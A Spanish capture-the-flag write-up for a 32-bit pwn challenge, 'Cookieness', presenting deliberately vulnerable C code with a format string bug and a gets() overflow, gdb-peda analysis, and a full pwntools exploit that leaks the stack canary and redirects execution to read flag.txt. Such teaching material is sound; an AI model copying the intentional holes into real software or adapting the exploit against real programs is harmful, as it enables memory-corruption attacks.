Cookieness es un reto de categoría pwn. Consiste en leer un fichero flag.txt mediante una vulnerabilidad de format string y un buffer overflow.
Código fuente
Si quieres probar a resolver este reto en tu máquina, crea un fichero flag.txt
con cualquier contenido y compila el código siguiente de esta manera gcc -m32 main.c -o cookieness -fstack-protector -no-pie
.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char * fileName = "flag.txt";
char * signature = "Merk was here.";
// Unused function to print the first 100
// chars of a file passed as an argument
void print_file(char * name) {
char flag[100];
FILE * fp;
fp = fopen(name, "r");
// If the file can be opened and read, print its contents
if (fgets(flag, 100, fp) != NULL)
printf("Mostrando contenido de %s: %s", name, flag);
else
printf("Fichero %s no encontrado.", name);
}
void welcome() {
// Ask user for input
printf("%s", "Login: ");
// Get user input
char strUser[20];
fgets(strUser, 20, stdin);
// Print welcome message, followed by a printf
// with a format string vulnerability
printf("%s", "Bienvenido, ");
printf(strUser);
// Get user input via vulnerable gets function
puts("\nPuedes leer flag.txt?");
gets(strUser);
}
int main(int argc, char * argv[]) {
// Vulnerable function
welcome();
return 0;
}
Sin más dilación, vamos a resolverlo.
Reconocimiento
Un primer vistazo nos muestra que se trata de un binario de 32 bits, dynamically linked y not stripped (así que quizá los símbolos nos puedan ayudar).
└─$ file cookieness
cookieness: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=3a32702afe6d664b62c9d
806d496072435a557e8, for GNU/Linux 3.2.0, not stripped
Si ejecutamos strings en el binario, obtendremos una pista. El string flag.txt parece ser nuestro objetivo.
└─$ strings cookieness
...
flag.txt
Merk was here.
Mostrando contenido de %s: %s
Fichero %s no encontrado.
Login:
Bienvenido,
Puedes leer flag.txt?
...
Cargando el binario con gdb
y ejecutando checksec
, podemos ver las siguientes protecciones habilitadas.
-
CANARY/COOKIE
- Esto quiere decir que para sobrescribir EIP mediante un stack buffer overflow, necesitaremos conocer el valor de la cookie en cada ejecución.
-
NX (No eXecute)/DEP
- Gracias a NX, no podremos ejecutar nuestro shellcode en el stack directamente.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Ejecutando el binario podemos observar que tenemos dos entradas, de las cuales la primera está reflejada por consola.
└─$ ./cookieness
Login: test1
Bienvenido, test1
Puedes leer flag.txt?
test2
Probando podemos observar que la primera entrada tiene un format string vulnerability, y si gritamos un poco parece que la segunda es vulnerable a un buffer overflow (pero sobrescribimos la cookie y obtenemos un stack smashing detected).
└─$ ./cookieness
Login: %x
Bienvenido, 804a065
Puedes leer flag.txt?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
zsh: IOT instruction ./cookieness
Por último, ya que el binario es not stripped podemos echarle un vistazo a las funciones.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
...
0x080491a6 print_file
0x08049243 welcome
0x080492f3 main
...
0x08049334 _fini
Las funciones que pintan interesantes son print_file, welcome y main. Un vistazo rápido a print_file con cualquier decompiler nos revela que se utiliza para leer los contenidos de un fichero pasado como único argumento. Cabe destacar que esta función no se llama nunca.
unsigned int __cdecl print_file(const char *a1)
{
FILE *stream; // ST24_4
char s; // [esp+18h] [ebp-70h]
unsigned int v4; // [esp+7Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
stream = fopen(a1, (const char *)&unk_804A020);
if ( fgets(&s, 100, stream) )
printf("Mostrando contenido de %s: %s", a1, &s);
else
printf("Fichero %s no encontrado.", a1);
return v4 - __readgsdword(0x14u);
}
Pwning time
Teniendo en cuenta lo que acabamos de ver, una manera de resolver el reto consiste en:
- Leer el CANARY o COOKIE de la función welcome usando el format string vulnerability
- Hacer un stack buffer overflow usando el CANARY
- Redirigir EIP a la función print_file colocando en el stack un puntero a flag.txt, ya que cuando ejecutamos strings, vimos que existía
El printf vulnerable que nos permite leer memoria del stack se encuentra en
0x080492b3 <+112>: call 0x8049040 <printf@plt>
Por lo que le colocaremos un breakpoint. Ejecutaremos el binario hasta el breakpoint, y comprobaremos dónde se encuentra el CANARY para poder leerlo.
gdb-peda$ b * 0x080492b3
Breakpoint 1 at 0x80492b3
gdb-peda$ run
Starting program: /home/merk/****/cookieness
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Login: test
Breakpoint 1, 0x080492b3 in welcome ()
Si miramos el final de la función welcome, podemos ver cómo se compara el CANARY. Veremos que sale de [ebp-0xc].
0x080492dd <+154>: mov eax,DWORD PTR [ebp-0xc] <--- aquí
0x080492e0 <+157>: sub eax,DWORD PTR gs:0x14
0x080492e7 <+164>: je 0x80492ee <welcome+171>
0x080492e9 <+166>: call 0x8049320 <__stack_chk_fail_local>
Entonces comprobamos en qué posición de ESP se encuentra el CANARY. Se encuentra a 11 DWORDS de distancia.
gdb-peda$ x/x $ebp-0xc
0xffffcdbc: 0xe4a1a300 <--- los CANARY siempre terminan en 00
gdb-peda$ x/20x $esp
0xffffcd90: 0xffffcda8 0x0804a065 0xf7e21620 0x0804924f
0xffffcda0: 0xf7fbf4a0 0xf7fd7a6c 0x74736574 0xf7fb000a
0xffffcdb0: 0xffffcdf0 0xf7fbf66c 0xf7fbfb30 0xe4a1a300 <--- aquí
0xffffcdc0: 0x00000001 0xf7e20ff4 0xffffcdd8 0x08049308
0xffffcdd0: 0xffffd09b 0x00000070 0xf7ffd020 0xf7c213b5
Por ello, si en la primera entrada del binario colocamos %11$x, imprimiremos el CANARY.
└─$ ./cookieness
Login: %11$x
Bienvenido, 1e66b800
Puedes leer flag.txt?
Ahora podemos intentar sobrescribirlo en la segunda entrada, y crashear el proceso con valores arbitrarios. Tenemos que saber a qué distancia se encuentra el CANARY de lo que sobrescribimos una vez se llama la función gets. Para ello, usaremos pattern
de gdb-peda y veremos con qué offset sobrescribimos el CANARY.
gdb-peda$ b * 0x080492e0 <--- en esta dirección se comprueba el CANARY
Breakpoint 1 at 0x80492e0
gdb-peda$ pattern create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ run
Starting program: /home/merk/****/cookieness
Login: test
Bienvenido, test
Puedes leer flag.txt?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
[----------------------------------registers-----------------------------------]
EAX: 0x41412d41 ('A-AA') <--- EAX contenía el CANARY, que hemos sobrescrito
...
gdb-peda$ pattern offset 0x41412d41
1094790465 found at offset: 20
Ya sabemos que el CANARY se debe sobrescribir en el offset 20. Montando el siguiente script, veremos que hemos sobrescrito el CANARY y que podemos redirigir el programa.
from pwn import *
# run the process
p = process("./cookieness")
gdb.attach(p, '''
break welcome
''')
# get the 11th stack variable (the canary/cookie)
p.send(b"%11$x\n")
# read the cookie from the abused string format vulnerability
cookie = p.readline(20).decode().split(', ')[1]
num = int(cookie, 16)
print("Cookie = " + hex(num))
# build the payload
payload = b"A" * 20
payload += p32(num) # get to the canary and overwrite it with itself
payload += b"B" * 50
# send the payload
p.sendline(payload)
p.interactive()
p.close()
Obtenemos un SIGSEGV.
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Volvemos a usar pattern
para comprobar la distancia desde el CANARY hasta EIP y obtenemos que está otros 12 bytes delante (no lo muestro porque es repetir el proceso). Ahora que podemos modificar EIP a nuestro gusto, solo nos queda apuntar a la función print_file
, y pasar en el stack un puntero al string flag.txt.
gdb-peda$ break main
Breakpoint 1 at 0x80492f6
gdb-peda$ run
gdb-peda$ find flag.txt
Searching for 'flag.txt' in: None ranges
Found 4 results, display max 4 items:
cookieness : 0x804a008 ("flag.txt")
cookieness : 0x804a07f ("flag.txt?")
cookieness : 0x804b008 ("flag.txt")
cookieness : 0x804b07f ("flag.txt?")
Podemos usar cualquiera de las dos que no tienen un ?
al final. Y solo quedará construir el script.
from pwn import *
print_file = 0x080491a6
flagtxt = 0x0804a008
# run the process
p = process("./cookieness")
# get the 11th stack variable (the canary/cookie)
p.send(b"%11$x\n")
# read the cookie from the abused string format vulnerability
cookie = p.readline(20).decode().split(', ')[1]
num = int(cookie, 16)
print("Cookie = " + hex(num))
# build the payload
payload = b"A" * 20
payload += p32(num) # get to the canary and overwrite it with itself
payload += b"B" * 12
payload += p32(print_file) # get to EIP and overwrite it with the print_file function
payload += b"C" * 4 # return address before parameters
payload += p32(flagtxt) # add an address that points to "flag.txt" to the stack as a parameter
# send the payload
p.sendline(payload)
# jackpot
print(p.recvall().decode())
p.close()
Y obtendríamos la flag.
└─$ python3 exploit.py
[+] Starting local process './cookieness': pid 2417
Cookie = 0x76d0fc00
[+] Receiving all data: Done (81B)
[*] Stopped process './cookieness' (pid 2417)
Puedes leer flag.txt?
Mostrando contenido de flag.txt: SNH{this_is_a_test_flag}
Top comments (0)